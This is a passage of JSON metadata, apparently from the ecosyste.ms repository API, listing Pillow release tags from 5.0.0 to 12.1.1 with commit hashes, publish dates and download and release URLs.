GitHub/repositories/python-pillow%2FPillow/tags/12.2.0/manifests"},{"name":"12.1.1","sha":"5158d98c807e719c5938aa3886913ef0ea6814e9","kind":"commit","published_at":"2026-02-11T01:13:25.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.1/manifests"},{"name":"12.1.0","sha":"46f45f674d47b5d8bc54230dda8fe9e214598b87","kind":"commit","published_at":"2026-01-02T06:03:05.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.0/manifests"},{"name":"12.0.0","sha":"693df7b42c666f88c719f9973be0ad71607328e0","kind":"commit","published_at":"2025-10-15T17:06:44.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.0.0/manifests"},{"name":"11.3.0","sha":"89f1f4626a2aaf5f3d5ca6437f41def2998fbe09","kind":"commit","published_at":"2025-07-01T07:41:24.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.3.0/manifests"},{"name":"11.2.1","sha":"339bc5db93bd95decf65a59fab273f300db6594d","kind":"commit","published_at":"2025-04-12T16:55:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.2.1/manifests"},{"name":"11.1.0","sha":"4c1aed801e43c6b307e7135279ca1dbc02bbf052","kind":"commit","published_at":"2025-01-02T05:00:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.1.0/manifests"},{"name":"11.0.0","sha":"204aae6682fc936f5350b3fe70335776f81480a7","kind":"commit","published_at":"2024-10-15T05:55:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.0.0/manifests"},{"name":"10.4.0","sha":"9b4fae77178e827ab17118fbc89c739ffd6a0fab","kind":"commit","published_at":"2024-07-01T05:42:12.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.4.0/manifests"},{"name":"10.3.0","sha":"5c89d88eee199ba53f64581ea39b6a1bc52feb1a","kind":"commit","published_at":"2024-04-01T09:22:36.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.3.0/manifests"},{"name":"10.2.0","sha":"6956d0b2853f5c7ec5f6ec4c60725c5a7ee73aeb","kind":"commit","published_at":"2024-01-02T07:32:31.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.2.0/manifests"},{"name":"10.1.0","sha":"da59ad000d1405eaecd557175e29083a87d19f7c","kind":"commit","published_at":"2023-10-15T08:59:17.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.1.0/manifests"},{"name":"10.0.1","sha":"e34d346f10c0b1c814661e662a3e0c1ef084cf1c","kind":"commit","published_at":"2023-09-15T11:55:25.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.1/manifests"},{"name":"10.0.0","sha":"6e28ed1f36d0eb74053af54e1eddc9c29db698cd","kind":"commit","published_at":"2023-07-01T12:08:11.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.0/manifests"},{"name":"9.5.0","sha":"204590600c6a8c5246d0564d3312abd6e6b0ed70","kind":"commit","published_at":"2023-04-01T07:49:41.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.5.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.5.0/manifests"},{"name":"9.4.0","sha":"a5bbab1c1e63b439de191ef2040173713b26d2da","kind":"commit","published_at":"2023-01-01T23:29:07.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.4.0/manifests"},{"name":"9.3.0","sha":"d594f4cb8dc47fb0c69ae58d9fff86faae4515bd","kind":"commit","published_at":"2022-10-29T12:25:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.3.0/manifests"},{"name":"9.2.0","sha":"58acec3312fb8671c9d84829197e1c8150085589","kind":"commit","published_at":"2022-07-01T13:19:51.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.2.0/manifests"},{"name":"9.1.1","sha":"0f44136e720cd3b2db72bdf29614897b7aa3e868","kind":"commit","published_at":"2022-05-17T10:33:52.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.1/manifests"},{"name":"9.1.0","sha":"5d070222d21138d2ead002fd33fdf5adcb708941","kind":"commit","published_at":"2022-04-01T07:48:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.0/manifests"},{"name":"9.0.1","sha":"6deac9e3a23caffbfdd75c00d3f0a1cd36cdbd5d","kind":"commit","published_at":"2022-02-02T23:45:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.1/manifests"},{"name":"9.0.0","sha":"82541b6dec8452cb612067fcebba1c5a1a2bfdc8","kind":"commit","published_at":"2022-01-02T09:51:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.0/manifests"},{"name":"8.4.0","sha":"40e7ff622669550733b26f14dc817fb72e096250","kind":"commit","published_at":"2021-10-15T06:27:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.4.0/manifests"},{"name":"8.3.2","sha":"8013f130a5077b238a4346b73e149432b180a8ea","kind":"commit","published_at":"2021-09-02T12:13:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.2/manifests"},{"name":"8.3.1","sha":"92933b86574b9c80764bf52c357ed29e1ef53382","kind":"commit","published_at":"2021-07-06T14:05:28.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.1/manifests"},{"name":"8.3.0","sha":"51591a80a4e14543ea8cbe93026db5e79354b8c4","kind":"commit","published_at":"2021-07-01T03:53:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.0/manifests"},{"name":"8.2.0","sha":"e0e353c0ef7516979a9aedce3792596649ce4433","kind":"commit","published_at":"2021-04-01T17:58:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.2.0/manifests"},{"name":"8.1.2","sha":"88bd672dafad68b419ea29bef941dfa17f941038","kind":"commit","published_at":"2021-03-06T02:38:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.2/manifests"},{"name":"8.1.1","sha":"741d8744a54bedbc49f16922c61a06fcb3681f53","kind":"commit","published_at":"2021-03-01T08:24:03.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.1/manifests"},{"name":"8.1.0","sha":"fcc42e0d344146ee9d265d1f43c094ce5a0ec4cf","kind":"commit","published_at":"2021-01-02T11:39:02.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.0/manifests"},{"name":"8.0.1","sha":"d209b7cab2866cbf381cbfc193f57de91a403757","kind":"commit","published_at":"2020-10-22T15:05:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.1/manifests"},{"name":"8.0.0","sha":"235a7d6d7deab9555dc2c1b42fdf11243f6080e8","kind":"commit","published_at":"2020-10-14T16:02:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.0/manifests"},{"name":"7.2.0","sha":"2bd74943fb9f320def6c066e732b701d1c15f677","kind":"commit","published_at":"2020-06-30T07:50:35.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.2.0/manifests"},{"name":"7.1.2","sha":"4f6145655b6fa35ec8dd3600041418087e399758","kind":"commit","published_at":"2020-04-25T05:47:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.2/manifests"},{"name":"7.1.1","sha":"ed40d04ac4dc71518a1fcbb916d0d323ef70fbc5","kind":"commit","published_at":"2020-04-02T12:41:33.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.1/manifests"},{"name":"7.1.0","sha":"f0fe60ae9f930faeda2f0c22f602bed1f8a0f1c7","kind":"commit","published_at":"2020-04-01T10:12:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.0/manifests"},{"name":"7.0.0","sha":"1cecf08d16509c20473766b4cdb7a65169844819","kind":"commit","published_at":"2020-01-02T05:19:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.0.0/manifests"},{"name":"6.2.2","sha":"a45c8583ff90312a2fddc38567ed736cef4af563","kind":"commit","published_at":"2020-01-02T05:18:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.2/manifests"},{"name":"6.2.1","sha":"6e0f07bbe38def22d36ee176b2efd9ea74b453a6","kind":"commit","published_at":"2019-10-21T06:05:44.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.1/manifests"},{"name":"6.2.0","sha":"8a30d135378dc6a1c3c08fa4bb9fbc15370feedf","kind":"commit","published_at":"2019-10-01T09:24:57.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.0/manifests"},{"name":"6.1.0","sha":"aaca672173413883fbcefd659f04d74fe44fb5d5","kind":"commit","published_at":"2019-07-02T19:10:33.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.1.0/manifests"},{"name":"6.0.0","sha":"4f3b44960f103bc201a742332dbf9a77de1eaa87","kind":"commit","published_at":"2019-04-01T22:25:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.0.0/manifests"},{"name":"5.4.1","sha":"f38f01bbe3a0a9f49ce592c86ff20c01c9655133","kind":"commit","published_at":"2019-01-06T12:12:16.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.4.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.1/manifests"},{"name":"5.4.0","sha":"d2d438794cdd80bdbc852c884f0473c86fb72ab3","kind":"commit","published_at":"2019-01-01T10:56:08.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.0/manifests"},{"name":"5.3.0","sha":"0ac14725ef4444fdb2871a54bcc95fcd6b8807b3","kind":"commit","published_at":"2018-10-01T05:48:10.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.3.0/manifests"},{"name":"5.2.0","sha":"c28bf86b7e752a9257a0d4451ca878c1385db15c","kind":"commit","published_at":"2018-07-01T19:40:29.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.2.0/manifests"},{"name":"5.1.0","sha":"fda33d5c09142c4bb0e99964919d01c2cc5f5995","kind":"commit","published_at":"2018-04-02T18:40:12.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.1.0/manifests"},{"name":"5.0.0","sha":"e5bd7eb6235cc24b9c8d3e7ce51ed48a780c7c70","kind":"commit","published_at":"2018-01-01T15:03:06.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.0.0","manifests_url":"https://repos.ecosyste.ms/api/